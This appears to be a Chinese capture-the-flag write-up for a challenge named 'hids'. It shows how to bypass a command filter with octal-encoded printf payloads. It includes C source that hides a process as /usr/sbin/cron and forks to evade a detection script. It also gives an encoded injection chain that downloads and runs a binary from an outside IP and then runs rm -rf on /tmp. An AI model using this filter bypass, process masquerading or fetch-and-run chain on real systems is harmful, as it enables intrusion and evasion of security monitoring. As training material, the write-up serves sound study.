hids

点击此处获得更好的阅读体验


WriteUp来源

官方WP

题目考点

解题思路

用8进制编码绕过命令字符的过滤

whoami可转换成$(printf$IFS"\167\150\157\141\155\151");

伪装进程,绕过检测程序

根目录下发现detect.py文件,会定时kill非web的进程 查看检测逻辑,可知只要伪装ppid和进程名即可绕过

  • ppid绕过,通过fork子进程后退出

  • 进程名绕过,通过修改argv即可 在自己的vps编译下面的c文件,可以得到运行/readflag的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
int main(int argc, const char* argv[], const char* envp[])
{
int i;
for (i = 0; envp[i]; ++i);
const char *p = envp[i-1] + strlen(envp[i-1]) + 1;

//move environ info
char **ptrs = (char**)malloc(sizeof(char*) * i);
ptrs[0] = (char*)malloc(p - envp[0]);
memcpy(ptrs[0], envp[0], p - envp[0]);
//copy ptr address
for (int j = 1; j < i; ++j) {
ptrs[j] = ptrs[j-1] + (envp[j] - envp[j-1]);
}
for (int j = 0; j < i; ++j) {
envp[j] = ptrs[j];
}
free((void*)ptrs);
memset((char*)argv[0], 0, p - argv[0]);
snprintf((char*)argv[0], p - argv[0], "/usr/sbin/cron");

pid_t pid = fork();
if(pid>0)exit(0);
else if(pid==0){
sleep(1);
int ret = execv("/readflag", argv);
}
return 0;
}

获取flag流程

  1. 执行

    1
    $(printf$IFS"\143\165\162\154\40\61\61\67\56\65\60\56\67\56\62\63\60\57\145\170\160\40\55\157\40\57\164\155\160\57\145\170\160");$(printf$IFS"\143\150\155\157\144\40\53\170\40\57\164\155\160\57\145\170\160");$(printf$IFS"\57\164\155\160\57\145\170\160")>$(printf$IFS"\57\164\155\160\57\146\154\141\147");

curl 117.50.7.230/exp -o /tmp/exp ; chmod +x /tmp/exp ;/tmp/exp > /tmp/flag;的编码形式 其中117.50.7.230/exp可以换成自己编译好的exp的地址

  1. 90秒后,执行下面的命令,读取flag(即cat /tmp/flag;)

    1
    $(printf$IFS"\143\141\164\40\57\164\155\160\57\146\154\141\147");
  2. 清除flag,避免被他人利用(即rm -rf /tmp/*)

    1
    $(printf$IFS"\162\155\40\55\162\146\40\57\164\155\160\57\52");